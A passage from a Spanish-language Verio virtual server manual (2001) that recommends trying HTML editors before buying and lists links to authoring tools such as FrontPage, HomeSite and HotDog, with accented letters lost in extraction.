Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Editores HTML y herramientas


La industria del software ha gastado cientos de millones de dlares en el desarrollo de herramientas para ayudarlo a disear su sitio web. Estos paquetes de software varan en su complejidad. Algunos son totalmente WYSIWYG, mientras que otros se basan en cdigos HTML que se van revelando a medida que usted usa las paletas de herramientas grficas para definir elementos lgicos en sus documentos. Algunos paquetes de software le dan todo el diseo de un sitio web servido con solo ingresar la informacin clave en los ayudantes de creacin de contenido. Por supuesto, hay que comprarlos y lo que hacen no es ms que lo que usted puede hacer a mano con software gratuito como el editor de texto Notepad o Block de Notas. Si est pensando en comprar un paquete de software para crear y disear contenido web, le recomendamos bajar las versiones de prueba que estn disponibles. Sus propias preferencias y gustos personales le dictarn cules son los mejores paquetes y herramientas que debe comprar. Hay docenas de herramientas de autora HTML disponibles para armar pginas web. A continuacin figuran los vnculos con varios sitios de ndices HTML y programas de edicin HTML. Esto es slo una pequea muestra de los programas de autora disponibles. Puede encontrar ms programas escribiendo HTML editor en cualquiera de los buenos motores de bsqueda. Lista de Stroud Editores HTML Windows de 32 Bits http://cws.internet.com/32html.html Navegadores, visualizadores y recursos de preparacin HTML http://www.utoronto.ca/webdocs/HTMLdocs/tools_home.html Directorio Yahoo! http://www.yahoo.com/Computers_and_Internet/Software/Internet/World_Wide_Web/ HTML_Editors/ Adobe Pagemill http://www.adobe.com/prodindex/pagemill/ Allaire HomeSite http://www.allaire.com/products/homesite/ AOLPress http://www.aolpress.com Galt Technology webMASTER PRO http://www.galttech.com/webmaster.shtml GoLive CyberStudio http://www.golive.com Microsoft FrontPage http://www.microsoft.com/frontpage/ NetObjects Fusion http://www.netobjects.com (altamente recomendado)

Apndice B: Creacin de Contenido para la Web


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

189

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Netscape Composer (Part of the Communicator Suite) http://www.netscape.com/browsers/ Sausage Software HotDog http://www.sausage.com

Apndice B: Creacin de Contenido para la Web


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

190

Vous aimerez peut-être aussi